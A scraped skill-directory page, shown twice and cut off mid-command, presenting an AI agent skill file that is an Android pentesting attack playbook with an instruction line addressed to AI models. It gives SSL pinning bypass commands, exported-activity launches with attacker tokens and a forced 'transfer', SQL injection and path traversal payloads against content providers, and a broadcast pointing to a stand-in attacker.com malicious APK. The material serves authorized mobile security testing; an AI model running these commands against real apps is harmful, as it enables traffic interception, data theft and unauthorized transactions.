android-pentesting-tricks

Name: android-pentesting-tricks
Author: Prohao42

91stars8forks

How to install android-pentesting-tricks?

prohao42/aimy-skill/android-pentesting-tricks

$npx -y skills add Prohao42/aimy-skill --skill android-pentesting-tricks

Installs into the current project.

Summary

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Android Pentesting Tricks — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
10	- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
11	- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
12
13	### Advanced Reference
14
15	Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
16	- Ready-to-use Frida script templates for common Android testing tasks
17	- Detailed hook points for OkHttp, Retrofit, Volley, WebView
18	- Root detection bypass script collection
19
20	---
21
22	## 1. SSL PINNING BYPASS
23
24	### 1.1 Frida Universal Bypass
25
26	```bash
27	# Install Frida server on device
28	adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
29	adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
30	adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
31
32	# Universal SSL pinning bypass
33	frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
34	```
35
36	\| Hook Point \| Library/Class \| Coverage \|
37	\|---\|---\|---\|
38	\| `X509TrustManager.checkServerTrusted` \| Android SDK \| All standard HTTPS \|
39	\| `OkHttpClient.Builder.sslSocketFactory` \| OkHttp 3.x/4.x \| Square OkHttp \|
40	\| `CertificatePinner.check` \| OkHttp 3.x/4.x \| OkHttp pinning \|
41	\| `HttpsURLConnection.setSSLSocketFactory` \| Android SDK \| Legacy HTTPS \|
42	\| `SSLContext.init` \| Android SDK \| Custom SSL contexts \|
43	\| `WebViewClient.onReceivedSslError` \| WebView \| WebView SSL errors \|
44	\| `TrustManagerFactory.getTrustManagers` \| Android SDK \| Factory-created TMs \|
45
46	### 1.2 Objection (Quick Method)
47
48	```bash
49	objection -g com.target.app explore
50	# Inside Objection REPL:
51	android sslpinning disable
52	```
53
54	### 1.3 Network Security Config (Debug Builds)
55
56	If you can modify the APK or it's a debug build:
57
58	```xml
59	<!-- res/xml/network_security_config.xml -->
60	<network-security-config>
61	<debug-overrides>
62	<trust-anchors>
63	<certificates src="user" /> <!-- Trust user-installed CAs -->
64	</trust-anchors>
65	</debug-overrides>
66	</network-security-config>
67	```
68
69	### 1.4 Magisk Module Approach
70
71	\| Module \| Method \| Scope \|
72	\|---\|---\|---\|
73	\| LSPosed + TrustMeAlready \| Hooks system-wide TrustManager \| All apps \|
74	\| LSPosed + SSLUnpinning \| Targeted SSL bypass \| Per-app \|
75	\| MagiskTrustUserCerts \| Moves user CA to system store \| All apps trusting system CAs \|
76	\| ConscryptTrustUserCerts \| Patches Conscrypt \| Newer Android (7+) \|
77
78	---
79
80	## 2. COMPONENT EXPOSURE
81
82	### 2.1 Exported Activities
83
84	```bash
85	# Find exported activities (AndroidManifest.xml or aapt)
86	aapt dump xmltree target.apk AndroidManifest.xml \| grep -B 5 "exported.*true"
87
88	# Launch exported activity directly
89	adb shell am start -n com.target.app/.AdminActivity
90	adb shell am start -n com.target.app/.DeepLinkActivity \
91	-d "target://callback?token=attacker_token"
92
93	# With extra data
94	adb shell am start -n com.target.app/.TransferActivity \
95	--es "amount" "99999" --es "recipient" "attacker"
96	```
97
98	### 2.2 Content Providers
99
100	```bash
101	# Query exposed content providers
102	adb shell content query --uri content://com.target.app.provider/users
103
104	# SQL injection in content provider
105	adb shell content query --uri "content://com.target.app.provider/users" \
106	--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
107
108	# Path traversal in file-providing content provider
109	adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
110	```
111
112	\| Provider Type \| Attack Vector \| Impact \|
113	\|---\|---\|---\|
114	\| Database-backed \| SQL injection via `query()` projection/selection \| Data leak, auth bypass \|
115	\| File-backed \| Path traversal via URI \| Read arbitrary files \|
116	\| Parcelable \| Type confusion in custom Parcelable \| Code execution \|
117
118	### 2.3 Broadcast Receivers
119
120	```bash
121	# Send crafted broadcast
122	adb shell am broadcast -a com.target.app.ACTION_UPDATE \
123	--es "url" "http://attacker.com/malicious.apk"
124
125	# Ordered broadcast interception (higher priority receiver intercepts first)
126	# Register receiver with higher priority than target to intercept/modify data
127	```
128
129	### 2.4 Exported Services
130
131	```bash
132	# Start/bind to exported service
133	adb shell am startservice -n com.target.app/.BackgroundService \
134	--es "command" "exfiltrate"
135
136	# List running services
137	adb

People who liked this also viewed

6 picks

Type

android-pentesting-tricks

91stars8forks

View on GitHub

How to install android-pentesting-tricks?

prohao42/aimy-skill/android-pentesting-tricks

$npx -y skills add Prohao42/aimy-skill --skill android-pentesting-tricks

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Android Pentesting Tricks — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
10	- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
11	- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
12
13	### Advanced Reference
14
15	Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
16	- Ready-to-use Frida script templates for common Android testing tasks
17	- Detailed hook points for OkHttp, Retrofit, Volley, WebView
18	- Root detection bypass script collection
19
20	---
21
22	## 1. SSL PINNING BYPASS
23
24	### 1.1 Frida Universal Bypass
25
26	```bash
27	# Install Frida server on device
28	adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
29	adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
30	adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
31
32	# Universal SSL pinning bypass
33	frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
34	```
35
36	\| Hook Point \| Library/Class \| Coverage \|
37	\|---\|---\|---\|
38	\| `X509TrustManager.checkServerTrusted` \| Android SDK \| All standard HTTPS \|
39	\| `OkHttpClient.Builder.sslSocketFactory` \| OkHttp 3.x/4.x \| Square OkHttp \|
40	\| `CertificatePinner.check` \| OkHttp 3.x/4.x \| OkHttp pinning \|
41	\| `HttpsURLConnection.setSSLSocketFactory` \| Android SDK \| Legacy HTTPS \|
42	\| `SSLContext.init` \| Android SDK \| Custom SSL contexts \|
43	\| `WebViewClient.onReceivedSslError` \| WebView \| WebView SSL errors \|
44	\| `TrustManagerFactory.getTrustManagers` \| Android SDK \| Factory-created TMs \|
45
46	### 1.2 Objection (Quick Method)
47
48	```bash
49	objection -g com.target.app explore
50	# Inside Objection REPL:
51	android sslpinning disable
52	```
53
54	### 1.3 Network Security Config (Debug Builds)
55
56	If you can modify the APK or it's a debug build:
57
58	```xml
59	<!-- res/xml/network_security_config.xml -->
60	<network-security-config>
61	<debug-overrides>
62	<trust-anchors>
63	<certificates src="user" /> <!-- Trust user-installed CAs -->
64	</trust-anchors>
65	</debug-overrides>
66	</network-security-config>
67	```
68
69	### 1.4 Magisk Module Approach
70
71	\| Module \| Method \| Scope \|
72	\|---\|---\|---\|
73	\| LSPosed + TrustMeAlready \| Hooks system-wide TrustManager \| All apps \|
74	\| LSPosed + SSLUnpinning \| Targeted SSL bypass \| Per-app \|
75	\| MagiskTrustUserCerts \| Moves user CA to system store \| All apps trusting system CAs \|
76	\| ConscryptTrustUserCerts \| Patches Conscrypt \| Newer Android (7+) \|
77
78	---
79
80	## 2. COMPONENT EXPOSURE
81
82	### 2.1 Exported Activities
83
84	```bash
85	# Find exported activities (AndroidManifest.xml or aapt)
86	aapt dump xmltree target.apk AndroidManifest.xml \| grep -B 5 "exported.*true"
87
88	# Launch exported activity directly
89	adb shell am start -n com.target.app/.AdminActivity
90	adb shell am start -n com.target.app/.DeepLinkActivity \
91	-d "target://callback?token=attacker_token"
92
93	# With extra data
94	adb shell am start -n com.target.app/.TransferActivity \
95	--es "amount" "99999" --es "recipient" "attacker"
96	```
97
98	### 2.2 Content Providers
99
100	```bash
101	# Query exposed content providers
102	adb shell content query --uri content://com.target.app.provider/users
103
104	# SQL injection in content provider
105	adb shell content query --uri "content://com.target.app.provider/users" \
106	--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
107
108	# Path traversal in file-providing content provider
109	adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
110	```
111
112	\| Provider Type \| Attack Vector \| Impact \|
113	\|---\|---\|---\|
114	\| Database-backed \| SQL injection via `query()` projection/selection \| Data leak, auth bypass \|
115	\| File-backed \| Path traversal via URI \| Read arbitrary files \|
116	\| Parcelable \| Type confusion in custom Parcelable \| Code execution \|
117
118	### 2.3 Broadcast Receivers
119
120	```bash
121	# Send crafted broadcast
122	adb shell am broadcast -a com.target.app.ACTION_UPDATE \
123	--es "url" "http://attacker.com/malicious.apk"
124
125	# Ordered broadcast interception (higher priority receiver intercepts first)
126	# Register receiver with higher priority than target to intercept/modify data
127	```
128
129	### 2.4 Exported Services
130
131	```bash
132	# Start/bind to exported service
133	adb shell am startservice -n com.target.app/.BackgroundService \
134	--es "command" "exfiltrate"
135
136	# List running services
137	adb

People who liked this also viewed

6 picks

Type